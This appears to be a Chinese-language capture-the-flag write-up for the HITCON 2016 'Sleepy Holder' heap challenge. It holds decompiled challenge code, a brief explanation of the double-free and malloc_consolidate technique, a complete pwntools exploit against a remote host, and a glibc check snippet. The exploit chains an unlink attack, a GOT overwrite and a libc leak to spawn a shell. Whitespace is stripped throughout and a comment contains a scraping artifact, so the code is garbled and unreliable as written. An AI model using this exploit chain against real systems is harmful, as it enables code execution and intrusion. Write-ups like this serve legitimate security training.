void__fastcall__noreturnmain(__int64a1,char**a2,char**a3){intv3;// eax
unsignedintbuf;// [rsp+4h] [rbp-1Ch]
intfd;// [rsp+8h] [rbp-18h]
intv6;// [rsp+Ch] [rbp-14h]
chars;// [rsp+10h] [rbp-10h]
unsigned__int64v8;// [rsp+18h] [rbp-8h]
v8=__readfsqword(0x28u);sub_400CEB();puts("Waking Sleepy Holder up ...");fd=open("/dev/urandom",0);read(fd,&buf,4uLL);buf&=0xFFFu;malloc(buf);sleep(3u);puts("Hey! Do you have any secret?");puts("I can help you to hold your secrets, and no one will be able to see it :)");while(1){puts("1. Keep secret");puts("2. Wipe secret");puts("3. Renew secret");memset(&s,0,4uLL);read(0,&s,4uLL);v3=atoi(&s);v6=v3;switch(v3){case2:delete_heap();break;case3:read_content();break;case1:add_heap();break;}}}unsigned__int64add_heap(){intv0;// eax
chars;// [rsp+10h] [rbp-10h]
unsigned__int64v3;// [rsp+18h] [rbp-8h]
v3=__readfsqword(0x28u);puts("What secret do you want to keep?");puts("1. Small secret");puts("2. Big secret");if(!huge_chunk_inuse)puts("3. Keep a huge secret and lock it forever");memset(&s,0,4uLL);read(0,&s,4uLL);v0=atoi(&s);if(v0==2){if(!large_chunk_inuse){large_chunk_ptr=calloc(1uLL,0xFA0uLL);large_chunk_inuse=1;puts("Tell me your secret: ");read(0,large_chunk_ptr,0xFA0uLL);}}elseif(v0==3){if(!huge_chunk_inuse){huge_chunk_ptr=calloc(1uLL,0x61A80uLL);huge_chunk_inuse=1;puts("Tell me your secret: ");read(0,huge_chunk_ptr,0x61A80uLL);}}elseif(v0==1&&!small_chunk_inuse){small_chunk_ptr=calloc(1uLL,0x28uLL);small_chunk_inuse=1;puts("Tell me your secret: ");read(0,small_chunk_ptr,0x28uLL);}return__readfsqword(0x28u)^v3;}unsigned__int64delete_heap(){intv0;// eax
chars;// [rsp+10h] [rbp-10h]
unsigned__int64v3;// [rsp+18h] [rbp-8h]
v3=__readfsqword(0x28u);puts("Which Secret do you want to wipe?");puts("1. Small secret");puts("2. Big secret");memset(&s,0,4uLL);read(0,&s,4uLL);v0=atoi(&s);if(v0==1){free(small_chunk_ptr);small_chunk_inuse=0;}elseif(v0==2){free(large_chunk_ptr);large_chunk_inuse=0;}return__readfsqword(0x28u)^v3;}unsigned__int64read_content(){intv0;// eax
chars;// [rsp+10h] [rbp-10h]
unsigned__int64v3;// [rsp+18h] [rbp-8h]
v3=__readfsqword(0x28u);puts("Which Secret do you want to renew?");puts("1. Small secret");puts("2. Big secret");memset(&s,0,4uLL);read(0,&s,4uLL);v0=atoi(&s);if(v0==1){if(small_chunk_inuse){puts("Tell me your secret: ");read(0,small_chunk_ptr,0x28uLL);}}elseif(v0==2&&large_chunk_inuse){puts("Tell me your secret: ");read(0,large_chunk_ptr,0xFA0uLL);}return__readfsqword(0x28u)^v3;}
由于只能申请三个chunk, small chunk: 0x38, large chunk: 0xFA0, huge chunk: 0x61A80。
huge chunk 用于隔开top chunk,主要利用在于small chunk和large chunk。
Free后指针没有清0,可以free多次。但是由于只能申请一个chunk,所以一般的fastbin attack是不行的。
这里的做法是利用malloc_consolidate来使fastbin进入unsorted bin。
malloc_consolidate 触发条件
申请一块为 large bin 范围内的chunk (x86: 0x400; x64: 0x800)
# -*- coding: utf-8 -*-frompwnimport*fromLibcSearcherimport*context.log_level="debug"#r = process('./sleepyHolder_hitcon_2016')r=remote('node3.buuoj.cn',26219)elf=ELF('./sleepyHolder_hitcon_2016')flag=Falsedefchoice(idx):r.sendlineafter("3. Renew secret\n",str(idx))defmalloc(type,content):#0x28 0xFA0 0x61A80choice(1)ifflag:r.sendlineafter("2. Big secret\n",str(type))else:r.sendlineafter("3. Keep a huge secret and lock it forever\n",str(type))r.sendlineafter("Tell me your secret: \n",content)deffree(type):choice(2)r.sendlineafter("2. Big secret\n",str(type))defedit(type,content):choice(3)r.sendlineafter("2. Big secret\n",str(type))r.sendlineafter("Tell me your secret: \n",content)#double freemalloc(1,'small')malloc(2,'big')free(1)malloc(3,'large')#malloc_consolidatefree(1)#unlinkptr=0x6020D0FD=ptr-0x18BK=ptr-0x10flag=Truemalloc(1,p64(0)+p64(0x21)+p64(FD)+p64(BK)+p64(0x20))free(2)#leak [email protected]edit(1,'a'*8+p64(elf.got['atoi'])+p64(0)+p64(elf.got['free']))edit(1,p64(elf.plt['puts'])+p64(elf.plt['puts']+6))free(2)#puts(elf.got['atoi'])atoi_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))print'atoi_addr: '+hex(atoi_addr)libc=LibcSearcher('atoi',atoi_addr)libc_base=atoi_addr-libc.dump('atoi')print'libc_base: '+hex(libc_base)#free -> systemsystem_addr=libc_base+libc.dump('system')print'system_addr: '+hex(system_addr)edit(1,p64(system_addr)+p64(elf.plt['puts']+6))#getshellmalloc(2,'sh\x00')free(2)r.interactive()
if(__builtin_expect(chunksize_nomask(chunk_at_offset(p,size))<=2*SIZE_SZ,0)||__builtin_expect(chunksize(chunk_at_offset(p,size))>=av->system_mem,0)){boolfail=true;/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */if(!have_lock){__libc_lock_lock(av->mutex);fail=(chunksize_nomask(chunk_at_offset(p,size))<=2*SIZE_SZ||chunksize(chunk_at_offset(p,size))>=av->system_mem);__libc_lock_unlock(av->mutex);}if(fail)malloc_printerr("free(): invalid next size (fast)");}